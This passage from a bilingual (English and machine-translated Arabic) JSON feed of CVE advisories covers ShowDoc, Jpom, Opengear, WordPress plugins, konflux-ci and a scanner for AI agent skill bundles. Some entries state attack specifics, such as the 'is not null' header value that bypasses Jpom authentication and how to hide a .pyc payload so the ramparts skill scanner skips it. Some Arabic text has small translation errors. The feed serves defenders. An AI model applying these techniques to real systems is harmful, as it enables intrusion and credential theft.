mockjs باستخدام eval()، ثم تشغيله من خلال MockController::infoByKey لتشغيل الأوامر، بصلاحيات الجذر (root) في صورة Docker الرسمية."},"refs":[["https://github.com/star7th/showdoc/commit/5a2087a3f408f5266f61e9e2fb98845ef4788288","patch"],["https://www.vulncheck.com/advisories/showdoc-2.8.14-before-3.9.6-code-injection-via-mock-templates","advisory"],["https://gist.github.com/LioTree/028af150fd991cf9924dd2c7d5912e54","ref"],["https://github.com/star7th/showdoc/blob/v3.9.5/mock/index.js#L42","ref"],["https://github.com/star7th/showdoc","ref"]],"epss":0.0035,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"showdoc"},{"id":"CVE-2026-120202","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-693","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T17:25:51Z","product":"highflame-ai ramparts","affected":[["0.8.1 – 0.8.10",null]],"title":{"en":"Highflame ramparts 0.8.1 through 0.8.10 Skill Bundle Scan Bypass via Nested .pyc","ar":"تجاوز فحص حزمة المهارات في Highflame ramparts من الإصدار 0.8.1 حتى 0.8.10 عبر ملفات .pyc متداخلة"},"summary":{"en":"Highflame ramparts 0.8.1 through 0.8.10 contains a security scan bypass vulnerability that allows attackers to hide malicious payloads because collect_bundle_siblings and walk_bundle_subdir skip nested directories and .pyc files. Attackers can distribute a skill bundle with an unchecked-hash .pyc under scripts/<subdir>/__pycache__/ that ramparts silently ignores, while CPython executes it when the skill runs.","ar":"يحتوي Highflame ramparts من الإصدار 0.8.1 حتى 0.8.10 على ثغرة تجاوز فحص الأمان التي تسمح للمهاجمين بإخفاء حمولات خبيثة لأن collect_bundle_siblings وwalk_bundle_subdir يتخطيان الدลلات المتداخلة وملفات .pyc. يمكن للمهاجمين توزيع حزمة مهارات تحتوي على ملف .pyc غير مُفحَص الهاش تحت scripts/<subdir>/__pycache__/ تتجاهله ramparts بصمت، بينما يقوم CPython بتنفيذه عند تشغيل المهارة."},"refs":[["https://www.vulncheck.com/advisories/highflame-ramparts-0.8.1-through-0.8.10-skill-bundle-scan-bypass-via-nested-pyc","advisory"],["https://github.com/highflame-ai/ramparts/issues/154","ref"],["https://github.com/highflame-ai/ramparts/blob/v0.8.10/src/skills.rs#L898","ref"],["https://github.com/highflame-ai/ramparts","ref"]],"epss":0.0029,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"highflame-ai-ramparts"},{"id":"CVE-2026-120201","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-943","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T17:25:50Z","product":"dromara Jpom","affected":[["2.10.0 – 2.11.12",null]],"title":{"en":"Jpom 2.10.0 through 2.11.12 Authentication Bypass via JPOM-USER-TOKEN Header","ar":"ثغرة تجاوز المصادقة في Jpom من الإصدار 2.10.0 حتى 2.11.12 عبر ترويسة JPOM-USER-TOKEN"},"summary":{"en":"Jpom 2.10.0 through 2.11.12 contains an authentication bypass vulnerability that allows unauthenticated attackers to gain super-administrator access by injecting query conditions into the JPOM-USER-TOKEN header. Attackers can send a value like 'is not null', which Hutool's Condition parser treats as an operator, then execute commands through Jpom's script features.","ar":"يحتوي Jpom من الإصدار 2.10.0 حتى 2.11.12 على ثغرة تجاوز المصادقة التي تسمح للمهاجمين دون مصادقة بالحصول على وصول مدير مميز (super-administrator) عن طريق حقن شروط الاستعلام في ترويسة JPOM-USER-TOKEN. يمكن للمهاجمين إرسال قيمة مثل 'is not null'، والتي يعاملها محلل الشروط الخاص بـ Hutool كعامل (operator)، ثم تنفيذ الأوامر من خلال ميزات النصوص البرمجية في Jpom."},"refs":[["https://www.vulncheck.com/advisories/jpom-2.10.0-through-2.11.12-authentication-bypass-via-jpom-user-token-header","advisory"],["https://github.com/dromara/Jpom/issues/121","ref"],["https://github.com/dromara/Jpom/blob/v2.11.12/modules/server/src/main/java/org/dromara/jpom/common/interceptor/LoginInterceptor.java#L146","ref"],["https://github.com/dromara/Jpom","ref"]],"epss":0.006,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dromara-jpom"},{"id":"CVE-2026-102212","cvss":8.4,"vector":null,"cwe":"CWE-122","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-31T16:16:52Z","product":"Opengear IM7200","affected":[["4.8 – 5.5.2",null]],"title":{"en":"Pre-Auth Heap Buffer Overflow in the Multipart Request","ar":"فيضان المخزن المؤقت في الكومة قبل المصادقة في طلب Multipart"},"summary":{"en":"Heap-based buffer overflow in Opengear IM72XX, CM71XX, and ACM70XX firmware versions 4.8.0 through 5.5.2 on console server appliances allows an unauthenticated remote attacker to crash the index.cgi process via a crafted multipart/form-data POST request containing an overlong Content-Disposition name field.","ar":"يؤدي فيضان المخزن المؤقت المستند إلى الكومة في البرامج الثابتة لـ Opengear IM72XX وCM71XX وACM70XX الإصدارات من 4.8.0 إلى 5.5.2 على أجهزة خادم وحدة التحكم إلى السماح لمهاجم عن بُعد دون مصادقة بالتسبب في إغلاق مفاجئ لعملية index.cgi عبر طلب POST مصمم خصيصًا بـ multipart/form-data يحتوي على حقل اسم Content-Disposition طويل جدًا."},"refs":[["https://portal.opengear.com/customerservice/s/article/Release-Notification-Firmware-Version-5-5-3-is-Now-Generally-Available","patch"],["https://portal.opengear.com/customerservice/s/article/CVE-2026-102212-Opengear-Console-Server-Buffer-Overflow-to-RCE","advisory"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"opengear-im7200"},{"id":"CVE-2026-120114","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T10:16:38Z","product":"qriouslad Debug Log Manager – Conveniently Monitor and Inspect Errors","affected":[["0 – 2.5.2",null]],"title":{"en":"Debug Log Manager <= 2.5.2 - Unauthenticated Stored Cross-Site Scripting via 'log_js_errors' AJAX Endpoint","ar":"Debug Log Manager <= 2.5.2 - ثغرة البرمجة العابثة للمواقع المخزنة دون مصادقة عبر نقطة النهاية log_js_errors AJAX"},"summary":{"en":"The Debug Log Manager – Conveniently Monitor and Inspect Errors plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'message (and pageUrl)' parameter in all versions up to, and including, 2.5.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. Successful exploitation requires that the site administrator has debug logging enabled with JS error logging active, and that the attacker can obtain the publicly emitted dlmVars.jsErrorLogging nonce — which is broadcast on every frontend page — to pass the nonce check on the unauthenticated endpoint.","ar":"إضافة Debug Log Manager – Conveniently Monitor and Inspect Errors المخصصة لووردبريس مصابة بثغرة البرمجة العابثة للمواقع المخزنة عبر معامل message (and pageUrl) في جميع الإصدارات حتى 2.5.2 ضمناً، وذلك بسبب عدم كفاية تنقية المدخلات والتعقيم في المخرجات. هذا يجعل من الممكن للمهاجمين دون مصادقة حقن شيفرات وويب عشوائية في الصفحات والتي ستنفذ كلما زار المستخدم الصفحة المحقونة. يتطلب الاستغلال الناجح أن يكون مدير الموقع قد قام بتفعيل سجل التصحيح مع تفعيل سجل أخطاء JS، وأن يتمكن المهاجم من الحصول على قيمة nonce المتمثلة في dlmVars.jsErrorLogging والتي يتم بثها علناً على كل صفحة واجهة أمامية لتجاوز فحص nonce على نقطة النهاية التي لا تتطلب مصادقة."},"refs":[["https://plugins.trac.wordpress.org/browser/debug-log-manager/tags/2.5.2/bootstrap.php#L134","ref"],["https://plugins.trac.wordpress.org/browser/debug-log-manager/tags/2.5.2/bootstrap.php#L567","ref"],["https://plugins.trac.wordpress.org/browser/debug-log-manager/tags/2.5.2/classes/class-debug-log.php#L1605","ref"],["https://plugins.trac.wordpress.org/browser/debug-log-manager/tags/2.5.2/classes/class-debug-log.php#L1728","ref"],["https://plugins.trac.wordpress.org/browser/debug-log-manager/tags/2.5.2/classes/class-debug-log.php#L2158","ref"],["https://plugins.trac.wordpress.org/browser/debug-log-manager/tags/2.5.2/classes/class-debug-log.php#L519","ref"],["https://plugins.trac.wordpress.org/changeset?reponame=&old=3754121%40debug-log-manager&new=3754121%40debug-log-manager","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/904181bc-fd56-4296-9c59-532bbc272abd?source=cve","ref"]],"epss":0.0041,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"qriouslad-debug-log-manager"},{"id":"CVE-2026-120194","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-835","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T10:16:38Z","product":"Red Hat Red Hat Enterprise Linux 10","affected":[],"title":{"en":"Json-glib: json-glib: infinite loop in json_path_query() with negative jsonpath slice step","ar":"Json-glib: حلقة لا نهائية في json_path_query() مع خطوة تقطيع jsonpath سالبة"},"summary":{"en":"A flaw was found in json-glib. The JSONPath slice evaluator used by json_path_query() can enter an infinite loop when given a slice expression with a negative step. An application that evaluates attacker-controlled JSONPath expressions can be forced into a hang, leading to a denial of service.","ar":"تم اكتشاف عيب في مكتبة json-glib. يمكن لمُقيِّم تقطيع JSONPath الذي تستخدمه دالة json_path_query() الدخول في حلقة لا نهائية عند تزويده بتعبير تقطيع يحتوي على خطوة سالبة. يمكن دفع التطبيق الذي يقيّم تعبيرات JSONPath المتحكم بها من قبل المهاجم إلى حالة تعليق، مما يؤدي إلى حجب الخدمة."},"refs":[["https://access.redhat.com/security/cve/CVE-2026-120194","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2564418","ref"],["https://gitlab.gnome.org/GNOME/json-glib/-/issues/96","ref"]],"epss":0.0048,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"red-hat-enterprise-linux"},{"id":"CVE-2026-76010","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-434","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T10:16:38Z","product":"smub Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery","affected":[["0 – 4.4.1",null]],"title":{"en":"Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery <= 4.4.1 - Authenticated (Custom+) Remote Code Execution via XML-RPC 'meta_data' Mass Assignment and Path Traversal","ar":"Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery <= 4.4.1 - تنفيذ أوامر عن بُعد (مخصص أو أعلى) مع مصادقة عبر تعيين الكتلة لخاصية meta_data في XML-RPC واجتياز المسار"},"summary":{"en":"The Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 4.4.1 via the render_image function. This is due to unrestricted mass assignment of caller-supplied meta_data keys onto the image model combined with missing realpath containment in path construction and a bypassable signature check on the public image delivery route. This makes it possible for authenticated attackers, with custom-level access and above, to execute code on the server. Exploitation requires the authenticated attacker to own at least one NextGEN gallery — a condition that can be satisfied by any Subscriber who was ever granted the 'NextGEN Manage gallery' capability, and that access is retained indefinitely due to the stored gallery-author equality fallback in _can_manage_gallery() even after the capability is revoked.","ar":"إضافة Photo Gallery, Sliders, Proofing and Themes – NextGEN Gallery المخصصة لووردبريس مصابة بثغرة تنفيذ أوامر عن بُعد في جميع الإصدارات حتى 4.4.1 ضمناً عبر دالة render_image. ويرجع ذلك إلى تعيين الكتلة غير المقيد لمفاتيح meta_data المزودة من قبل المستدعي على نموذج الصورة، جنباً إلى جنب مع غياب احتوائها عبر realpath في بناء المسار وفحص التوقيع القابل للتجاوز على مسار تسليم الصور العام. هذا يجعل من الممكن للمهاجمين الذين يملكون حسابًا مصادقًا عليه بصلاحيات مستوى مخصص أو أعلى تنفيذ شيفرات على الخادم. يتطلب الاستغلال أن يمتلك المهاجم الذي يملك حسابًا مصادقًا عليه معرض NextGEN واحدًا على الأقل - وهي شرط يمكن تحقيقه من قبل أي مشترك تم منحه صلاحية NextGEN Manage gallery في السابق، ويتم الاحتفاظ بهذا الوصول إلى أجل غير مسمى بسبب آلية احتياطية لمساواة مؤلف المعرض المخزنة في دالة _can_manage_gallery() حتى بعد إلغاء الصلاحية."},"refs":[["https://plugins.trac.wordpress.org/browser/nextgen-gallery/tags/4.3.0/src/DataStorage/Manager.php#L1226","ref"],["https://plugins.trac.wordpress.org/browser/nextgen-gallery/tags/4.3.0/src/DataStorage/Manager.php#L2373","ref"],["https://plugins.trac.wordpress.org/browser/nextgen-gallery/tags/4.3.0/src/DataStorage/Manager.php#L2951","ref"],["https://plugins.trac.wordpress.org/browser/nextgen-gallery/tags/4.3.0/src/DynamicThumbnails/Controller.php#L33","ref"],["https://plugins.trac.wordpress.org/browser/nextgen-gallery/tags/4.3.0/src/XMLRPC/Controller.php#L289","ref"],["https://plugins.trac.wordpress.org/browser/nextgen-gallery/tags/4.3.0/src/XMLRPC/Controller.php#L69","ref"],["https://plugins.trac.wordpress.org/changeset/3699076/nextgen-gallery/trunk/src/DataStorage/Manager.php","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/36dcde20-0af2-4b8b-8637-9a070dffa8a1?source=cve","ref"]],"epss":0.0077,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"smub-photo-gallery-sliders-proofing-and-themes"},{"id":"CVE-2026-109197","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T10:16:37Z","product":"wpdirectorykit WP Directory Kit","affected":[["0 – 1.6.0",null]],"title":{"en":"WP Directory Kit <= 1.6.0 - Unauthenticated SQL Injection via 'idfield' Parameter","ar":"WP Directory Kit <= 1.6.0 - حقن SQL دون مصادقة عبر معامل idfield"},"summary":{"en":"The WP Directory Kit plugin for WordPress is vulnerable to generic SQL Injection via the 'idfield' parameter in all versions up to, and including, 1.6.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","ar":"إضافة WP Directory Kit المخصصة لووردبريس مصابة بثغرة حقن SQL العامة عبر معامل idfield في جميع الإصدارات حتى 1.6.0 ضمناً، وذلك بسبب عدم كفاية التعقيم على المعامل المزود من المستخدم ونقص الإعداد الكافي لاستعلام SQL الحالي. هذا يجعل من الممكن للمهاجمين دون مصادقة إلحاق استعلامات SQL إضافية بالاستعلامات الموجودة مسبقاً والتي يمكن استخدامها لاستخراج معلومات حساسة من قاعدة البيانات."},"refs":[["https://plugins.trac.wordpress.org/browser/wpdirectorykit/trunk/application/helpers/Basic.php#L179","ref"],["https://plugins.trac.wordpress.org/browser/wpdirectorykit/trunk/application/views/search_fields/SLIDER_RANGE.php#L67","ref"],["https://plugins.trac.wordpress.org/browser/wpdirectorykit/trunk/vendor/Winter_MVC/core/database.php#L441","ref"],["https://plugins.trac.wordpress.org/browser/wpdirectorykit/trunk/vendor/Winter_MVC/core/helpers.php#L770","ref"],["https://wordpress.org/plugins/wpdirectorykit/","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/73ecfe84-dbe1-4e89-959b-e810d9a436f6?source=cve","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wpdirectorykit-wp-directory-kit"},{"id":"CVE-2026-114217","cvss":8.6,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-312","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T09:16:33Z","product":"Unknown product","affected":[["0.2.2 – 0.2.2",null],["0.2.3-rc.0 – 0.2.3-rc.0",null],["0.2.2",null],["0.2.3-rc.0",null]],"title":{"en":"Konflux-ci: github token plaintext exposure in ci/cd scripts","ar":"Konflux-ci: كشف رمز GitHub المميز بنص صريح في نصوص التكامل والتسليم المستمر ci/cd"},"summary":{"en":"A flaw was found in konflux-ci. Continuous Integration (CI) automation scripts store sensitive GitHub access tokens in plaintext on the runner without cleaning them up after execution. A local attacker with access to the CI environment can read these stored credentials to gain unauthorized repository access, potentially allowing them to modify source code or release artifacts.","ar":"تم اكتشاف عيب في konflux-ci. تقوم نصوص أتمتة التكامل المستمر (CI) بتخزين رموز وصول GitHub الحساسة بنص صريح على بيئة التشغيل (runner) دون تنظيفها بعد التنفيذ. يمكن لمهاجم محلي لديه حق الوصول إلى بيئة التكامل المستمر قراءة بيانات الاعتماد المخزنة هذه للحصول على وصول غير مصرح به إلى المستودع، مما قد يسمح له بتعديل الشيفرة المصدرية أو حزم الإصدارات."},"refs":[["https://access.redhat.com/security/cve/CVE-2026-114217","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2564218","ref"]],"epss":0.0009,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-116086","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T09:16:33Z","product":"Unknown product","affected":[["0.2.2 – 0.2.2",null],["0.2.3-rc.0 – 0.2.3-rc.0",null],["0.2.2",null],["0.2.3-rc.0",null]],"title":{"en":"Konflux-ci: jq filter injection in github workflow issue management","ar":"Konflux-ci: حقن مرشح jq في إدارة مشكلات سير عمل github"},"summary":{"en":"A flaw was found in konflux-ci. An attacker with permission to trigger automated workflow runs can cause an information disclosure by providing crafted issue titles to workflow scripts. The affected script incorporates user-provided titles directly into data queries without adequate sanitization, allowing the attacker to inject malicious filter commands. As a result, sensitive information such as API credentials, deployment keys, and internal notes returned from repository queries may be exposed in workflow logs.","ar":"تم اكتشاف عيب في konflux-ci. يمكن لمهاجم يملك صلاحية تشغيل عمليات سير العمل الآلية التسبب في كشف معلومات عبر توفير عناوين مشكلات مُعدّة خصيصاً لنصوص سير العمل. يقوم النص المتأثر بدمج العناوين المقدمة من المستخدم مباشرة في استعلامات البيانات بدون تعقيم ملائم، مما يسمح للمهاجم بحقن أوامر تصفية خبيثة. ونتيجة لذلك، قد يتم كشف معلومات حساسة مثل بيانات اعتماد واجهة برمجة التطبيقات (API) ومفاتيح نشر والداخلية التي يتم إرجاعها من استعلامات المستودع في سجلات سير العمل."},"refs":[["https://access.redhat.com/security/cve/CVE-2026-116086","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2564224","ref"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-116964","cvss":8.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-94","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T09:16:33Z","product":"Unknown product","affected":[["0.2.2 – 0.2.2",null],["0.2.3-rc.0 – 0.2.3-rc.0",null],["0.2.2",null],["0.2.3-rc.0",null]],"title":{"en":"Konflux-ci: remote code execution via eval() in manifest scripts","ar":"Konflux-ci: تنفيذ أوامر عن بُعد عبر eval() في نصوص البيان (manifest)"},"summary":{"en":"A flaw was found in konflux-ci. An attacker with repository write access can achieve arbitrary code execution within the Continuous Integration and Continuous Delivery (CI/CD) workflow environment. By injecting shell commands into environment export scripts, the attacker causes manifest synchronization scripts to dynamically evaluate unvalidated script output. Successful exploitation allows the attacker to compromise CI/CD pipelines, steal sensitive authentication tokens and deployment credentials, and gain unauthorized access to production systems.","ar":"تم اكتشاف عيب في konflux-ci. يمكن لمهاجم لديه صلاحية الكتابة على المستودع تحقيق تنفيذ شيفرة عشوائية داخل بيئة سير عمل التكامل والتسليم المستمر (CI/CD). من خلال حقن أوامر صدفة في نصوص تصدير البيئة، يتسبب المهاجم في قيام نصوص مزامنة البيان بتقييم مخرجات النصوص غير المتحقق منها ديناميكياً. يتيح الاستغلال الناجح للمهاجم اختراق خطوط أنابيب التكامل والتسليم المستمر، وسرقة رموز المصادقة الحساسة وبيانات اعتماد النشر، والحصول على وصول غير مصرح به إلى الأنظمة الإنتاجية."},"refs":[["https://access.redhat.com/security/cve/CVE-2026-116964","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2564209","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-117681","cvss":8,"vector":"CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-295","tags":["LPE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T09:16:33Z","product":"Unknown product","affected":[["0.2.2-rc.2",null]],"title":{"en":"Konflux-ci: ui proxy skips backend tls verification on non-openshift clusters, leaking a token that can impersonate anyone","ar":"Konflux-ci: الوكيل الوسيط لواجهة المستخدم يتخطى التحقق من شهادة TLS للخدمات الخلفية على تجمعات غير OpenShift، مما يسرب رمزاً مميزاً يمكنه انتحال صفة أي شخص"},"summary":{"en":"A flaw was found in konflux-ci. This vulnerability allows privilege escalation when the user interface proxy automatically disables Transport Layer Security (TLS) certificate verification for connections to internal backend services in environments lacking a default service certificate authority. Because the proxy attaches a cluster-scoped authentication token with user impersonation rights to these requests, an adjacent network attacker capable of intercepting traffic can capture the credentials to gain full administrative control of the cluster.","ar":"تم اكتشاف عيب في konflux-ci. تسمح هذه الثغرة بتصعيد الصلاحيات عندما يقوم الوكيل الوسيط لواجهة المستخدم تلقائياً بتعطيل التحقق من شهادة أمان طبقة النقل (TLS) للاتصالات بخدمات الخلفية الداخلية في البيئات التي تفتقر إلى مرجع مصدق افتراضي لخدمات النظام. نظراً لأن الوكيل يرفق رمز مصادقة بنطاق التجمع مع صلاحيات انتحال صفة المستخدم بهذه الطلبات، فإن مهاجماً على الشبكة المجاورة قادراً على اعتراض حركة المرور يمكنه التقاط بيانات الاعتماد للحصول على تحكم إداري كامل في التجمع."},"refs":[["https://access.redhat.com/security/cve/CVE-2026-117681","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2563233","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":null},{"id":"CVE-2026-118235","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-434","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T09:16:33Z","product":"wpazleen SimpleForm – Form Maker to Chat Apps with Quiz, Poll and Multi Lead Notificatio…","affected":[["0 – 3.10.2",null]],"title":{"en":"SimpleForm <= 3.10.2 - Unauthenticated Arbitrary File Upload via Trailing-Dot Filename via Unknown File Key in simpleform_get_submit_data","ar":"SimpleForm <= 3.10.2 - رفع ملفات عشوائية دون مصادقة عبر اسم ملف يحتوي على نقطة لاحقة وفاتح ملف غير معروف في simpleform_get_submit_data"},"summary":{"en":"The SimpleForm – Form Maker to Chat Apps with Quiz, Poll and Multi Lead Notifications plugin for WordPress is vulnerable to Arbitrary File Upload in all versions up to, and including, 3.10.2 via the handle_upload function. This is due to missing server-side file key allowlist and pre-sanitization extension derivation that allows a trailing-dot filename to bypass all extension and MIME validation in handle_upload. This makes it possible for unauthenticated attackers to upload files that may be executable, which makes remote code execution possible. The only access control is a nonce that is printed into every public form's data-nonce attribute, making it trivially obtainable by any unauthenticated visitor on a page embedding the form shortcode.","ar":"إضافة SimpleForm – Form Maker to Chat Apps with Quiz, Poll and Multi Lead Notifications المخصصة لووردبريس مصابة بثغرة رفع ملفات عشوائية في جميع الإصدارات حتى 3.10.2 ضمناً عبر دالة handle_upload. ويرجع ذلك إلى غياب القائمة البيضاء لمفاتيح الملفات من جهة الخادم واشتقاق الامتداد مسبقاً مما يسمح لاسم ملف يحتوي على نقطة لاحقة بتجاوز كل عمليات التحقق من الامتداد و MIME في handle_upload. هذا يجعل من الممكن للمهاجمين دون مصادقة رفع ملفات قد تكون قابلة للتنفيذ، مما يجعل تنفيذ أوامر عن بُعد ممكناً. عنصر التحكم الوحيد في الوصول هو قيمة nonce المطبوعة في سمة data-nonce لكل نموذج عام، مما يجعل الحصول عليها أمراً يسيراً جداً لأي زائر غير مصادق عليه في صفحة تدمج رمز النموذج القصير (shortcode)."},"refs":[["https://plugins.svn.wordpress.org/simple-form/trunk/","ref"],["https://plugins.trac.wordpress.org/browser/simple-form/tags/3.10.2/app/Ajax/Tables.php#L67","ref"],["https://plugins.trac.wordpress.org/browser/simple-form/tags/3.10.2/app/Ajax/Tables.php#L973","ref"],["https://plugins.trac.wordpress.org/browser/simple-form/tags/3.10.2/app/Ajax/Tables.php#L988","ref"],["https://plugins.trac.wordpress.org/browser/simple-form/tags/3.10.2/app/FileUpload.php#L118","ref"],["https://plugins.trac.wordpress.org/browser/simple-form/tags/3.10.2/app/FileUpload.php#L137","ref"],["https://plugins.trac.wordpress.org/browser/simple-form/tags/3.10.2/app/FileUpload.php#L142","ref"],["https://plugins.trac.wordpress.org/changeset/3770697/simple-form/trunk/app/FileUpload.php","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/6aac2178-f6ce-4444-9afc-7e014547cd48?source=cve","ref"]],"epss":0.0074,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wpazleen-simpleform"},{"id":"CVE-2026-120075","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T09:16:33Z","product":"melapress WP Activity Log","affected":[["0 – 5.6.1",null]],"title":{"en":"WP Activity Log <= 5.6.1 - Unauthenticated Stored Cross-Site Scripting","ar":"WP Activity Log <= 5.6.1 - ثغرة البرمجة العابثة للمواقع المخزنة دون مصادقة"},"summary":{"en":"The WP Activity Log plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 5.6.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","ar":"إضافة WP Activity Log المخصصة لووردبريس مصابة بثغرة البرمجة العابثة للمواقع المخزنة في جميع الإصدارات حتى 5.6.1 ضمناً، وذلك بسبب عدم كفاية تنقية المدخلات والتعقيم في المخرجات. هذا يجعل من الممكن للمهاجمين دون مصادقة حقن شيفرات وويب عشوائية في الصفحات والتي ستنفذ كلما زار المستخدم الصفحة المحقونة."},"refs":[["https://plugins.trac.wordpress.org/changeset?reponame=&old=3496481%40wp-security-audit-log&new=3496481%40wp-security-audit-log","ref"],["https://research.cleantalk.org/CVE-2026-120075","ref"],["https://www.wordfence.com/threat-intel/vulnerabilities/id/c201b563-1195-45b8-adf9-c8aeccb8ce0e?source=cve","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"melapress-wp-activity-log"},{"id":"CVE-2026-103882","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-22","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-31T09:16:32Z","product":"acadlix Acadlix LMS – AI Quiz Maker, Online Exam & Course Plugin for WordPress","affected":[["0 – 1.1.9",null]],"title":{"en":"Acadlix LMS <= 1.1.9 - Unauthenticated Arbitrary File Deletion via 'delete_file_data.file_path' Parameter","ar":"Acadlix LMS <= 1.1.9 - حذف ملفات عشوائية دون مصادقة عبر وسيط 'delete_file_data.file_path'"},"summary":{"en":"The Acadlix LMS – AI Quiz Maker, Online Exam & Course Plugin for WordPress plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in the post_delete_assessment_file_by_id function in all versions up to, and including, 1.1.9. This makes it possible for authenticated attackers, with subscriber-level access and above, to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php). The route's permission callback only verifies a generic wp_rest nonce that the plugin itself emits inside the public acadlixOptions JavaScript object on every frontend page, effectively reducing the authentication requirement to unauthenticated.","ar":"إضافة Acadlix LMS – AI Quiz Maker, Online Exam & Course Plugin for WordPress المخصصة لـ WordPress عرضة لحذف الملفات العشوائية بسبب التحقق غير الكافي من مسار الملف في دالة post_delete_assessment_file_by_id في جميع الإصدارات حتى 1.1.9 ضمناً. هذا يجعل من الممكن للمهاجمين الذين يملكون حسابًا مصادقًا عليه بصلاحيات مشترِك أو أعلى حذف ملفات عشوائية على الخادم، مما قد يؤدي بسهولة إلى تنفيذ أوامر عن بُعد عند حذف الملف المناسب (مثل wp-config.php). يتحقق رد الاتصال الخاص بصلاحيات المسار فقط من رمز wp_rest عشوائي 